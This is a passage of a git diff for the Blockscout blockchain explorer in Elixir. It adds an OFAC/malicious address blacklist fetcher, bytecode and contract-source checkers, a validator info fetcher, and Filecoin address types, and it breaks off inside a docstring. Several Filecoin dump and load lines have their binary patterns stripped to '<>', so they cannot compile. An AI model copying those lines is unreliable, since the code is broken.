block_rewards internal_transactions + last_block_number token_transfers transactions contract_verification_result + token_total_supply changed_bytecode fetched_bytecode fetched_token_instance_metadata not_fetched_token_instance_metadata + smart_contract_was_verified zkevm_confirmed_batches eth_bytecode_db_lookup_started + smart_contract_was_not_verified)a + + case @chain_type do + :arbitrum -> + @chain_type_specific_allowed_broadcast_events ~w(new_arbitrum_batches new_messages_to_arbitrum_amount)a + + :optimism -> + @chain_type_specific_allowed_broadcast_events ~w(new_optimism_batches new_optimism_deposits)a + + _ -> + @chain_type_specific_allowed_broadcast_events ~w()a + end + + @allowed_broadcast_events @common_allowed_broadcast_events ++ @chain_type_specific_allowed_broadcast_events @allowed_broadcast_types ~w(catchup realtime on_demand contract_verification_result)a diff --git a/apps/explorer/lib/explorer/chain/fetcher/addresses_blacklist.ex b/apps/explorer/lib/explorer/chain/fetcher/addresses_blacklist.ex new file mode 100644 index 000000000000..64a628ead0b3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/fetcher/addresses_blacklist.ex @@ -0,0 +1,121 @@ +defmodule Explorer.Chain.Fetcher.AddressesBlacklist do + @moduledoc """ + General fetcher for addresses blacklist + """ + use GenServer + + @cache_name :addresses_blacklist + + @doc """ + Fetches the addresses blacklist. + """ + @callback fetch_addresses_blacklist() :: MapSet.t() + + @impl true + @spec init(any()) :: {:ok, nil} + def init(_) do + :ets.new(@cache_name, [ + :set, + :named_table, + :public, + read_concurrency: true + ]) + + GenServer.cast(__MODULE__, :fetch) + + {:ok, nil} + end + + @spec start_link(any()) :: :ignore | {:error, any()} | {:ok, pid()} + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def handle_cast(:fetch, state) do + run_fetch_task() + {:noreply, state} + end + + @impl true + def handle_info(:fetch, state) do + run_fetch_task() + {:noreply, state} + end + + @impl true + def handle_info({_ref, _result}, state) do + {:noreply, state} + end + + @impl true + def handle_info({:DOWN, _ref, :process, _pid, :normal}, state) do + Process.send_after(self(), :fetch, update_interval()) + {:noreply, state} + end + + @impl true + def handle_info({:DOWN, _ref, :process, _pid, _reason}, state) do + Process.send_after(self(), :fetch, retry_interval()) + {:noreply, state} + end + + defp run_fetch_task do + Task.Supervisor.async_nolink(Explorer.GenesisDataTaskSupervisor, fn -> + select_provider_module().fetch_addresses_blacklist() + |> MapSet.to_list() + |> save_in_ets_cache() + end) + end + + defp save_in_ets_cache(blacklist) do + :ets.delete_all_objects(@cache_name) + :ets.insert(@cache_name, blacklist) + end + + defp config do + Application.get_env(:explorer, Explorer.Chain.Fetcher.AddressesBlacklist) + end + + @spec url() :: any() + def url do + config()[:url] + end + + @spec enabled?() :: any() + defp enabled? do + config()[:enabled] + end + + @spec update_interval() :: any() + defp update_interval do + config()[:update_interval] + end + + @spec retry_interval() :: any() + defp retry_interval do + config()[:retry_interval] + end + + defp select_provider_module do + case config()[:provider] do + _ -> + Explorer.Chain.Fetcher.AddressesBlacklist.Blockaid + end + end + + @doc """ + Checks if the given address is blacklisted. + + ## Parameters + - `address_hash`: The address to check. + + ## Returns + - `true` if the address is blacklisted. + - `false` if the address is not blacklisted. + """ + @spec blacklisted?(any()) :: boolean() + def blacklisted?(address_hash) do + enabled?() && :ets.member(@cache_name, address_hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/fetcher/addresses_blacklist/blockaid.ex b/apps/explorer/lib/explorer/chain/fetcher/addresses_blacklist/blockaid.ex new file mode 100644 index 000000000000..736340f9fa4a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/fetcher/addresses_blacklist/blockaid.ex @@ -0,0 +1,44 @@ +defmodule Explorer.Chain.Fetcher.AddressesBlacklist.Blockaid do + @moduledoc """ + Fetcher for addresses blacklist from blockaid provider + """ + alias Explorer.{Chain, HttpClient} + alias Explorer.Chain.Fetcher.AddressesBlacklist + + @behaviour AddressesBlacklist + + @keys_to_blacklist ["OFAC", "Malicious"] + @timeout 60_000 + + @impl AddressesBlacklist + def fetch_addresses_blacklist do + case HttpClient.get(AddressesBlacklist.url(), [], recv_timeout: @timeout, timeout: @timeout) do + {:ok, %{status_code: 200, body: body}} -> + body + |> Jason.decode() + |> parse_blacklist() + + _ -> + MapSet.new() + end + end + + defp parse_blacklist({:ok, json}) when is_map(json) do + @keys_to_blacklist + |> Enum.reduce([], fn key, acc -> + acc ++ + (json + |> Map.get(key, []) + |> Enum.map(fn address_hash_string -> + address_hash_or_nil = Chain.string_to_address_hash_or_nil(address_hash_string) + address_hash_or_nil && {address_hash_or_nil, nil} + end) + |> Enum.reject(&is_nil/1)) + end) + |> MapSet.new() + end + + defp parse_blacklist({:error, _}) do + MapSet.new() + end +end diff --git a/apps/explorer/lib/explorer/chain/fetcher/check_bytecode_matching_on_demand.ex b/apps/explorer/lib/explorer/chain/fetcher/check_bytecode_matching_on_demand.ex new file mode 100644 index 000000000000..594c14296e15 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/fetcher/check_bytecode_matching_on_demand.ex @@ -0,0 +1,80 @@ +defmodule Explorer.Chain.Fetcher.CheckBytecodeMatchingOnDemand do + @moduledoc """ + On demand checker if bytecode written in BlockScout's DB equals to bytecode stored on node (only for verified contracts) + """ + + use GenServer + + alias Ecto.Association.NotLoaded + alias Ecto.Changeset + alias Explorer.Chain.Events.Publisher + alias Explorer.Repo + alias Explorer.Utility.RateLimiter + + # seconds + @check_bytecode_interval 86_400 + + def trigger_check(caller \\ nil, address, smart_contract) + + def trigger_check(_caller, _address, %NotLoaded{}) do + :ignore + end + + def trigger_check(caller, address, _) do + case RateLimiter.check_rate(caller, :on_demand) do + :allow -> GenServer.cast(__MODULE__, {:check, address}) + :deny -> :ok + end + end + + defp check_bytecode_matching(address) do + now = DateTime.utc_now() + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + with true <- + !address.smart_contract.is_changed_bytecode and + address.smart_contract.bytecode_checked_at + |> DateTime.add(@check_bytecode_interval, :second) + |> DateTime.compare(now) != :gt, + {:ok, %EthereumJSONRPC.FetchedCodes{params_list: fetched_codes}} <- + EthereumJSONRPC.fetch_codes( + [%{block_quantity: "latest", address: address.smart_contract.address_hash}], + json_rpc_named_arguments + ), + bytecode_from_node <- fetched_codes |> List.first() |> Map.get(:code), + bytecode_from_db <- "0x" <> (address.contract_code.bytes |> Base.encode16(case: :lower)), + {:changed, true} <- {:changed, bytecode_from_node == bytecode_from_db} do + {:ok, _} = + address.smart_contract + |> Changeset.change(%{bytecode_checked_at: now}) + |> Repo.update() + else + {:changed, false} -> + Publisher.broadcast(%{changed_bytecode: [address.smart_contract.address_hash]}, :on_demand) + + {:ok, _} = + address.smart_contract + |> Changeset.change(%{bytecode_checked_at: now, is_changed_bytecode: true}) + |> Repo.update() + + _ -> + nil + end + end + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(opts) do + {:ok, opts} + end + + @impl true + def handle_cast({:check, address}, state) do + check_bytecode_matching(address) + + {:noreply, state} + end +end diff --git a/apps/explorer/lib/explorer/chain/fetcher/fetch_validator_info_on_demand.ex b/apps/explorer/lib/explorer/chain/fetcher/fetch_validator_info_on_demand.ex new file mode 100644 index 000000000000..a081a5b521e8 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/fetcher/fetch_validator_info_on_demand.ex @@ -0,0 +1,88 @@ +defmodule Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand do + @moduledoc """ + On demand fetcher info about validator + """ + + use GenServer + + alias Explorer.Application.Constants + alias Explorer.Chain + alias Explorer.Chain.Block.Reward + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Validator + + @ttl_in_blocks 1 + + def trigger_fetch(list) when is_list(list) do + Enum.each(list, fn hash_string -> + case Chain.string_to_address_hash(hash_string) do + {:ok, address_hash} -> + GenServer.cast(__MODULE__, {:fetch_or_update, address_hash}) + + _ -> + :ignore + end + end) + end + + def trigger_fetch(address_hash) do + GenServer.cast(__MODULE__, {:fetch_or_update, address_hash}) + end + + defp actualize_validator_info(address_hash) do + contract_address_from_db = Constants.get_keys_manager_contract_address() + + contract_address_from_env = + Application.get_env(:explorer, Explorer.Chain.Block.Reward, %{})[:keys_manager_contract_address] + + cond do + is_nil(contract_address_from_env) -> + :ignore + + is_nil(contract_address_from_db) -> + Validator.drop_all_validators() + Constants.insert_keys_manager_contract_address(contract_address_from_env) + fetch_and_store_validator_info(address_hash) + + String.downcase(contract_address_from_db.value) == contract_address_from_env |> String.downcase() -> + fetch_and_store_validator_info(address_hash) + + true -> + Validator.drop_all_validators() + Constants.insert_keys_manager_contract_address(contract_address_from_env) + fetch_and_store_validator_info(address_hash) + end + end + + defp fetch_and_store_validator_info(validator_address) do + validator = Validator.get_validator_by_address_hash(validator_address) + + if is_nil(validator) or BlockNumber.get_max() - validator.info_updated_at_block > @ttl_in_blocks do + %{is_validator: is_validator, payout_key: payout_key} = + Reward.get_validator_payout_key_by_mining(validator_address) + + Validator.insert_or_update(validator, %{ + address_hash: validator_address, + is_validator: is_validator, + payout_key_hash: payout_key, + info_updated_at_block: BlockNumber.get_max() + }) + end + end + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(opts) do + {:ok, opts} + end + + @impl true + def handle_cast({:fetch_or_update, address_hash}, state) do + actualize_validator_info(address_hash) + + {:noreply, state} + end +end diff --git a/apps/explorer/lib/explorer/chain/fetcher/look_up_smart_contract_sources_on_demand.ex b/apps/explorer/lib/explorer/chain/fetcher/look_up_smart_contract_sources_on_demand.ex new file mode 100644 index 000000000000..eb18e5f01318 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/fetcher/look_up_smart_contract_sources_on_demand.ex @@ -0,0 +1,284 @@ +defmodule Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand do + @moduledoc """ + On demand fetcher sources for unverified smart contract from + [Ethereum Bytecode DB](https://github.com/blockscout/blockscout-rs/tree/main/eth-bytecode-db/eth-bytecode-db) + """ + + use GenServer + + use Utils.RuntimeEnvHelper, + fetch_interval: [ + :explorer, + [ + Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand, + :fetch_interval + ] + ], + max_concurrency: [ + :explorer, + [ + Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand, + :max_concurrency + ] + ] + + alias Explorer.Chain + alias Explorer.Chain.{Address, Data, SmartContract} + alias Explorer.Chain.Events.Publisher + alias Explorer.SmartContract.EthBytecodeDBInterface + alias Explorer.SmartContract.Geas.Publisher, as: GeasPublisher + alias Explorer.SmartContract.Solidity.Publisher, as: SolidityPublisher + alias Explorer.SmartContract.Vyper.Publisher, as: VyperPublisher + alias Explorer.Utility.RateLimiter + + import Explorer.SmartContract.Helper, only: [prepare_bytecode_for_microservice: 3, contract_creation_input: 1] + + @cache_name :smart_contracts_sources_fetching + + @cooldown_timeout 500 + + @doc """ + Triggers the fetch of smart contract sources. + + ## Parameters + * An `%Address{}` struct with smart contract ALREADY preloaded + * OR an address hash string + + ## Returns + * `:ok` - when the fetch request has been scheduled + * `:ignore` - when the address is not eligible for fetching + + ## Note + The request is ignored if: + * The address is not a smart contract + * The address has empty deployed bytecode (i.e., 0x) + * The smart contract is already fully verified + """ + @spec trigger_fetch(String.t() | nil, any()) :: :ignore | :ok + def trigger_fetch(caller \\ nil, address_or_hash) + + def trigger_fetch(_caller, %Address{ + smart_contract: %SmartContract{ + partially_verified: false + } + }) do + :ignore + end + + def trigger_fetch(caller, address_or_hash) do + case RateLimiter.check_rate(caller, :on_demand) do + :allow -> do_trigger_fetch(address_or_hash) + :deny -> :ignore + end + end + + defp do_trigger_fetch(%Address{} = address) do + address + |> Address.smart_contract_with_nonempty_code?() + |> if do + GenServer.cast(__MODULE__, {:check_eligibility, address}) + else + :ignore + end + end + + defp do_trigger_fetch(address_hash_string) when is_binary(address_hash_string) do + GenServer.cast(__MODULE__, {:check_eligibility, address_hash_string}) + end + + defp do_trigger_fetch(_address) do + :ignore + end + + defp fetch_sources(address_hash_string, address_contract_code, only_full?) do + Publisher.broadcast(%{eth_bytecode_db_lookup_started: [address_hash_string]}, :on_demand) + + creation_transaction_input = contract_creation_input(address_hash_string) + + with {:ok, %{"sourceType" => type, "matchType" => match_type} = source} <- + %{} + |> prepare_bytecode_for_microservice(creation_transaction_input, Data.to_string(address_contract_code)) + |> EthBytecodeDBInterface.search_contract(address_hash_string), + :ok <- check_match_type(match_type, only_full?), + {:ok, _} <- process_contract_source(type, source, address_hash_string) do + Publisher.broadcast(%{smart_contract_was_verified: [address_hash_string]}, :on_demand) + else + _ -> + Publisher.broadcast(%{smart_contract_was_not_verified: [address_hash_string]}, :on_demand) + false + end + end + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + :ets.new(@cache_name, [ + :set, + :named_table, + :public + ]) + + {:ok, + %{ + current_concurrency: 0, + max_concurrency: max_concurrency() + }} + end + + @impl true + def handle_cast({:check_eligibility, address_or_hash_string}, state) do + check_eligibility_for_sources_fetching(address_or_hash_string, state) + end + + @impl true + def handle_cast( + {:fetch, address_hash_string, address_contract_code, need_to_check_and_partially_verified?}, + %{current_concurrency: counter, max_concurrency: max_concurrency} = state + ) + when counter < max_concurrency do + handle_fetch_request(address_hash_string, address_contract_code, need_to_check_and_partially_verified?, state) + end + + @impl true + def handle_cast( + {:fetch, _address_hash_string, _address_contract_code, _need_to_check_and_partially_verified?} = request, + %{current_concurrency: _counter} = state + ) do + Process.send_after(self(), request, @cooldown_timeout) + {:noreply, state} + end + + @impl true + def handle_info({:check_eligibility, address_or_hash_string}, state) do + check_eligibility_for_sources_fetching(address_or_hash_string, state) + end + + @impl true + def handle_info( + {:fetch, address_hash_string, address_contract_code, need_to_check_and_partially_verified?}, + %{current_concurrency: counter, max_concurrency: max_concurrency} = state + ) + when counter < max_concurrency do + handle_fetch_request(address_hash_string, address_contract_code, need_to_check_and_partially_verified?, state) + end + + @impl true + def handle_info( + {:fetch, _address_hash_string, _address_contract_code, _need_to_check_and_partially_verified?} = request, + state + ) do + Process.send_after(self(), request, @cooldown_timeout) + {:noreply, state} + end + + @impl true + def handle_info({ref, _answer}, %{current_concurrency: counter} = state) do + Process.demonitor(ref, [:flush]) + {:noreply, %{state | current_concurrency: counter - 1}} + end + + @impl true + def handle_info({:DOWN, _ref, :process, _pid, _reason}, %{current_concurrency: counter} = state) do + {:noreply, %{state | current_concurrency: counter - 1}} + end + + def process_contract_source("SOLIDITY", source, address_hash_string) do + SolidityPublisher.process_rust_verifier_response(source, address_hash_string, %{}, true, true, true) + end + + def process_contract_source("VYPER", source, address_hash_string) do + VyperPublisher.process_rust_verifier_response(source, address_hash_string, %{}, true, true, true) + end + + def process_contract_source("YUL", source, address_hash_string) do + SolidityPublisher.process_rust_verifier_response(source, address_hash_string, %{}, true, true, true) + end + + def process_contract_source("GEAS", source, address_hash_string) do + GeasPublisher.process_rust_verifier_response(source, address_hash_string, %{}, true, true, true) + end + + def process_contract_source(_, _source, _address_hash), do: false + + defp check_match_type("PARTIAL", true), do: :full_match_required + defp check_match_type(_, _), do: :ok + + defp handle_fetch_request( + address_hash_string, + address_contract_code, + need_to_check_and_partially_verified?, + %{ + current_concurrency: counter + } = state + ) do + Task.Supervisor.async_nolink(Explorer.GenesisDataTaskSupervisor, fn -> + fetch_sources(address_hash_string, address_contract_code, need_to_check_and_partially_verified?) + end) + + :ets.insert(@cache_name, {String.downcase(address_hash_string), DateTime.utc_now()}) + + diff = 1 + + {:noreply, %{state | current_concurrency: counter + diff}} + end + + defp fetch_cooldown_elapsed?(%Address{hash: hash}) do + hash + |> to_string() + |> fetch_cooldown_elapsed?() + end + + defp fetch_cooldown_elapsed?(address_hash_string) when is_binary(address_hash_string) do + address_hash_string_downcase = address_hash_string |> String.downcase() + + case :ets.lookup(@cache_name, address_hash_string_downcase) do + [{_, datetime}] -> + datetime + |> DateTime.add(fetch_interval(), :millisecond) + |> DateTime.compare(DateTime.utc_now()) != :gt + + _ -> + true + end + end + + defp maybe_fetch_address(address_hash_string) when is_binary(address_hash_string) do + address_hash_string + |> Chain.hash_to_address( + necessity_by_association: %{ + :smart_contract => :optional + } + ) + end + + # Note: This function expects that the address will come with preloaded smart + # contract association. + defp maybe_fetch_address(%Address{} = address) do + {:ok, address} + end + + defp check_eligibility_for_sources_fetching(address_or_address_hash_string, state) do + with true <- fetch_cooldown_elapsed?(address_or_address_hash_string), + {:ok, address} <- maybe_fetch_address(address_or_address_hash_string), + true <- Address.smart_contract_with_nonempty_code?(address), + partially_verified? = address.smart_contract && address.smart_contract.partially_verified, + true <- is_nil(partially_verified?) or partially_verified? do + GenServer.cast( + __MODULE__, + { + :fetch, + to_string(address.hash), + address.contract_code, + partially_verified? + } + ) + + {:noreply, state} + else + _ -> {:noreply, state} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/filecoin/id.ex b/apps/explorer/lib/explorer/chain/filecoin/id.ex new file mode 100644 index 000000000000..8c73460f6e90 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/filecoin/id.ex @@ -0,0 +1,157 @@ +defmodule Explorer.Chain.Filecoin.IDAddress do + @moduledoc """ + Handles Filecoin ID addresses, wrapping the `NativeAddress` type. + """ + + alias Explorer.Chain.Filecoin.NativeAddress + alias Poison.Encoder.BitString + + require Integer + + defstruct ~w(value)a + + @protocol_indicator 0 + + use Ecto.Type + + @type t :: %__MODULE__{value: binary()} + + @impl Ecto.Type + @spec type() :: :binary + def type, do: :binary + + defp to_native_address(%__MODULE__{value: value}) do + %NativeAddress{ + protocol_indicator: @protocol_indicator, + payload: value + } + end + + @doc """ + Casts a binary string to a `Explorer.Chain.Filecoin.IDAddress`. + + ## Examples + + iex> Explorer.Chain.Filecoin.IDAddress.cast("f01729") + {:ok, %Explorer.Chain.Filecoin.IDAddress{value: <<193, 13>>}} + + iex> Explorer.Chain.Filecoin.IDAddress.cast(%Explorer.Chain.Filecoin.IDAddress{value: <<193, 13>>}) + {:ok, %Explorer.Chain.Filecoin.IDAddress{value: <<193, 13>>}} + + iex> Explorer.Chain.Filecoin.IDAddress.cast("invalid") + :error + """ + @impl Ecto.Type + def cast(address_string) when is_binary(address_string) do + address_string + |> NativeAddress.cast() + |> case do + {:ok, + %NativeAddress{ + protocol_indicator: @protocol_indicator, + payload: value + }} -> + {:ok, %__MODULE__{value: value}} + + _ -> + :error + end + end + + @impl Ecto.Type + def cast(%__MODULE__{} = address), do: {:ok, address} + + @impl Ecto.Type + def cast(_), do: :error + + @doc """ + Dumps an `Explorer.Chain.Filecoin.IDAddress` to its binary representation. + + ## Examples + + iex> address = %Explorer.Chain.Filecoin.IDAddress{value: <<193, 13>>} + iex> Explorer.Chain.Filecoin.IDAddress.dump(address) + {:ok, <<0, 193, 13>>} + + iex> Explorer.Chain.Filecoin.IDAddress.dump("invalid") + :error + """ + @impl Ecto.Type + def dump(%__MODULE__{} = address) do + address + |> to_native_address() + |> NativeAddress.dump() + end + + def dump(_), do: :error + + @doc """ + Loads a binary representation of an `Explorer.Chain.Filecoin.IDAddress`. + + ## Examples + + iex> Explorer.Chain.Filecoin.IDAddress.load(<<0, 193, 13>>) + {:ok, %Explorer.Chain.Filecoin.IDAddress{value: <<193, 13>>}} + + iex> Explorer.Chain.Filecoin.IDAddress.load("invalid") + :error + """ + @impl Ecto.Type + def load(bytes) when is_binary(bytes) do + bytes + |> NativeAddress.load() + |> case do + {:ok, + %NativeAddress{ + protocol_indicator: @protocol_indicator, + payload: value + }} -> + {:ok, %__MODULE__{value: value}} + + _ -> + :error + end + end + + def load(_), do: :error + + @doc """ + Converts an `Explorer.Chain.Filecoin.IDAddress` to its string representation. + + ## Examples + + iex> address = %Explorer.Chain.Filecoin.IDAddress{value: <<193, 13>>} + iex> Explorer.Chain.Filecoin.IDAddress.to_string(address) + "f01729" + """ + @spec to_string(t()) :: String.t() + def to_string(%__MODULE__{} = address) do + address + |> to_native_address() + |> NativeAddress.to_string() + end + + defimpl String.Chars do + def to_string(address) do + @for.to_string(address) + end + end + + defimpl Poison.Encoder do + def encode(address, options) do + address + |> to_string() + |> BitString.encode(options) + end + end + + defimpl Jason.Encoder do + alias Jason.Encode + + def encode(address, opts) do + address + |> to_string() + |> Encode.string(opts) + end + end +end diff --git a/apps/explorer/lib/explorer/chain/filecoin/native_address.ex b/apps/explorer/lib/explorer/chain/filecoin/native_address.ex new file mode 100644 index 000000000000..205a1107e04f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/filecoin/native_address.ex @@ -0,0 +1,477 @@ +defmodule Explorer.Chain.Filecoin.NativeAddress do + @moduledoc """ + Handles Filecoin addresses by parsing, validating, and converting them to and + from their binary representations. + + Addresses are encoded to binary according to the [Filecoin Address + spec](https://spec.filecoin.io/appendix/address/#section-appendix.address.validatechecksum). + Details about f4 addresses are provided in + [FIP-0048](https://github.com/filecoin-project/FIPs/blob/master/FIPS/fip-0048.md). + + Internally, f0/f1/f2/f3 addresses are stored as a binary with the following structure: + + |--------------------|---------| + | protocol indicator | payload | + |--------------------|---------| + | 1 byte | n bytes | + |--------------------|---------| + + 1. The first byte is the protocol indicator. The values are: + - `0` for f0 addresses + - `1` for f1 addresses + - `2` for f2 addresses + - `3` for f3 addresses + + 2. The remaining bytes are the payload. + + f4 addresses are stored as a binary with the following structure: + + |--------------------|----------|---------| + | protocol indicator | actor id | payload | + |--------------------|----------|---------| + | 1 byte | 1 byte | n bytes | + |--------------------|----------|---------| + + 1. The first byte is the protocol indicator. The value is `4`. + 2. The second byte is the actor id. + 3. The remaining bytes are the payload. + """ + + alias Explorer.Chain.Hash + alias Poison.Encoder.BitString + alias Varint.LEB128 + + use Ecto.Type + + defstruct ~w(protocol_indicator actor_id payload checksum)a + + @checksum_bytes_count 4 + + @protocol_indicator_bytes_count 1 + @max_actor_id 2 ** (@protocol_indicator_bytes_count * Hash.bits_per_byte()) - 1 + @ethereum_actor_id 10 + + @min_address_string_length 3 + + # Payload sizes: + # f1 -- 20 bytes + # f2 -- 20 bytes + # f3 -- 48 bytes + @protocol_indicator_to_payload_byte_count %{ + 1 => 20, + # For some reason, specs tell that payload for f2 is a SHA256 hash, which is + # 32 bytes long. However, in practice, it is 20 bytes long... + # + # https://spec.filecoin.io/appendix/address/#section-appendix.address.protocol-2-actor + 2 => 20, + 3 => 48 + } + @standard_protocol_indicators Map.keys(@protocol_indicator_to_payload_byte_count) + + @id_address_eth_prefix <<255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>> + + @type t :: %__MODULE__{ + protocol_indicator: non_neg_integer(), + actor_id: non_neg_integer() | nil, + payload: binary(), + checksum: binary() | nil + } + + @impl Ecto.Type + @spec type() :: :binary + def type, do: :binary + + defp network_prefix do + Atom.to_string(Application.get_env(:explorer, __MODULE__)[:network_prefix]) + end + + @doc """ + Casts `term` to `t:t/0`. + + If the term is already in `t:t/0`, then it is returned + + iex> Explorer.Chain.Filecoin.NativeAddress.cast( + ...> %Explorer.Chain.Filecoin.NativeAddress{ + ...> protocol_indicator: 0, + ...> actor_id: nil, + ...> payload: <<193, 13>>, + ...> checksum: nil + ...> } + ...> ) + { + :ok, + %Explorer.Chain.Filecoin.NativeAddress{ + protocol_indicator: 0, + actor_id: nil, + payload: <<193, 13>>, + checksum: nil + } + } + + If the term is a binary, then it is parsed to `t:t/0` + + iex> Explorer.Chain.Filecoin.NativeAddress.cast("f01729") + { + :ok, + %Explorer.Chain.Filecoin.NativeAddress{ + protocol_indicator: 0, + actor_id: nil, + payload: <<193, 13>>, + checksum: nil + } + } + + iex> Explorer.Chain.Filecoin.NativeAddress.cast("f01729") + { + :ok, + %Explorer.Chain.Filecoin.NativeAddress{ + protocol_indicator: 0, + actor_id: nil, + payload: <<193, 13>>, + checksum: nil + } + } + + iex> NativeAddress.cast("f410fabpafjfjgqkc3douo3yzfug5tq4bwfvuhsewxji") + { + :ok, + %Explorer.Chain.Filecoin.NativeAddress{ + protocol_indicator: 4, + actor_id: 10, + payload: <<0, 94, 2, 164, 169, 52, 20, 45, 141, 212, 118, 241, 146, 208, 221, 156, 56, 27, 22, 180>>, + checksum: <<60, 137, 107, 165>> + } + } + + If the term is a `Hash` struct, then it is converted to `t:t/0` + + iex> Explorer.Chain.Filecoin.NativeAddress.cast( + ...> %Explorer.Chain.Hash{ + ...> byte_count: 20, + ...> bytes: <<0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed :: big-integer-size(20)-unit(8)>> + ...> } + ...> ) + { + :ok, + %Explorer.Chain.Filecoin.NativeAddress{ + protocol_indicator: 4, + actor_id: 10, + payload: <<90, 174, 182, 5, 63, 62, 148, 201, 185, 160, 159, 51, 102, 148, 53, 231, 239, 27, 234, 237>>, + checksum: <<238, 18, 207, 48>> + } + } + + iex> Explorer.Chain.Filecoin.NativeAddress.cast( + ...> %Explorer.Chain.Hash{ + ...> byte_count: 20, + ...> bytes: <<0xff00000000000000000000000000000000302F7B :: big-integer-size(20)-unit(8)>> + ...> } + ...> ) + { + :ok, + %Explorer.Chain.Filecoin.NativeAddress{ + protocol_indicator: 0, + actor_id: nil, + payload: <<251, 222, 192, 1>>, + checksum: nil + } + } + """ + @impl Ecto.Type + @spec cast(t() | String.t() | Hash.Address.t()) :: {:ok, t()} | :error + def cast(%__MODULE__{} = address), do: {:ok, address} + + def cast(address_string) when is_binary(address_string) do + network = network_prefix() + + with true <- String.length(address_string) >= @min_address_string_length, + ^network <> protocol_indicator_and_payload <- address_string, + {:ok, address} <- cast_protocol_indicator_and_payload(protocol_indicator_and_payload), + :ok <- verify_checksum(address) do + {:ok, address} + else + _ -> + :error + end + end + + def cast(%Hash{bytes: <<@id_address_eth_prefix::binary, rest::binary>>}) do + payload = + rest + |> :binary.decode_unsigned() + |> LEB128.encode() + + { + :ok, + %__MODULE__{ + protocol_indicator: 0, + actor_id: nil, + payload: payload, + checksum: nil + } + } + end + + def cast(%Hash{bytes: payload}) do + dumped = <<4, @ethereum_actor_id, payload::binary>> + checksum = to_checksum(dumped) + + { + :ok, + %__MODULE__{ + protocol_indicator: 4, + actor_id: @ethereum_actor_id, + payload: payload, + checksum: checksum + } + } + end + + defp cast_protocol_indicator_and_payload("0" <> id_string) do + id_string + |> Integer.parse() + |> case do + {id, ""} when is_integer(id) and id >= 0 -> + payload = LEB128.encode(id) + + {:ok, + %__MODULE__{ + protocol_indicator: 0, + actor_id: nil, + payload: payload, + checksum: nil + }} + + _ -> + :error + end + end + + defp cast_protocol_indicator_and_payload("4" <> rest) do + with [actor_id_string, base32_digits] <- String.split(rest, "f", parts: 2), + {actor_id, ""} when is_integer(actor_id) <- Integer.parse(actor_id_string), + {:ok, {payload, checksum}} <- cast_base32_digits(base32_digits) do + {:ok, + %__MODULE__{ + protocol_indicator: 4, + actor_id: actor_id, + payload: payload, + checksum: checksum + }} + else + _ -> :error + end + end + + defp cast_protocol_indicator_and_payload(protocol_indicator_and_payload) do + with {protocol_indicator_string, base32_digits} <- + String.split_at( + protocol_indicator_and_payload, + 1 + ), + {protocol_indicator, ""} when protocol_indicator in @standard_protocol_indicators <- + Integer.parse(protocol_indicator_string), + {:ok, byte_count} <- + Map.fetch( + @protocol_indicator_to_payload_byte_count, + protocol_indicator + ), + {:ok, {payload, checksum}} <- cast_base32_digits(base32_digits, byte_count) do + {:ok, + %__MODULE__{ + protocol_indicator: protocol_indicator, + actor_id: nil, + payload: payload, + checksum: checksum + }} + else + _ -> :error + end + end + + defp cast_base32_digits(digits) do + with {:ok, bytes} <- Base.decode32(digits, case: :lower, padding: false), + << + payload::binary-size(byte_size(bytes) - @checksum_bytes_count), + checksum::binary-size(@checksum_bytes_count) + >> <- bytes do + {:ok, {payload, checksum}} + else + _ -> :error + end + end + + defp cast_base32_digits(digits, expected_bytes_count) do + with {:ok, {payload, checksum}} <- cast_base32_digits(digits), + true <- byte_size(payload) == expected_bytes_count do + {:ok, {payload, checksum}} + else + _ -> :error + end + end + + @doc """ + Dumps the address to `:binary` (`bytea`) representation format used in + database. + """ + @impl Ecto.Type + @spec dump(t()) :: {:ok, binary()} | :error + def dump(%__MODULE__{protocol_indicator: 4, actor_id: actor_id, payload: payload}) + when is_integer(actor_id) and + is_binary(payload) and + actor_id >= 0 and + actor_id <= @max_actor_id do + {:ok, <<4, actor_id, payload::binary>>} + end + + def dump(%__MODULE__{protocol_indicator: protocol_indicator, payload: payload}) + when is_integer(protocol_indicator) and + is_binary(payload) and + protocol_indicator >= 0 and + protocol_indicator <= @max_actor_id do + {:ok, <>} + end + + def dump(_), do: :error + + @doc """ + Loads the address from `:binary` representation used in database. + """ + @impl Ecto.Type + @spec load(binary()) :: {:ok, t()} | :error + def load(<> = bytes) do + case protocol_indicator do + 0 -> + {:ok, + %__MODULE__{ + protocol_indicator: 0, + actor_id: nil, + payload: rest, + checksum: nil + }} + + 4 -> + checksum = to_checksum(bytes) + <> = rest + + {:ok, + %__MODULE__{ + protocol_indicator: 4, + actor_id: actor_id, + payload: payload, + checksum: checksum + }} + + protocol_indicator when protocol_indicator in @standard_protocol_indicators -> + checksum = to_checksum(bytes) + + {:ok, + %__MODULE__{ + protocol_indicator: protocol_indicator, + actor_id: nil, + payload: rest, + checksum: checksum + }} + + _ -> + :error + end + end + + def load(_), do: :error + + @doc """ + Converts the address to a string representation. + + iex> Explorer.Chain.Filecoin.NativeAddress.to_string( + ...> %Explorer.Chain.Filecoin.NativeAddress{ + ...> protocol_indicator: 0, + ...> actor_id: nil, + ...> payload: <<193, 13>>, + ...> checksum: nil + ...> } + ...> ) + "f01729" + + iex> Explorer.Chain.Filecoin.NativeAddress.to_string( + ...> 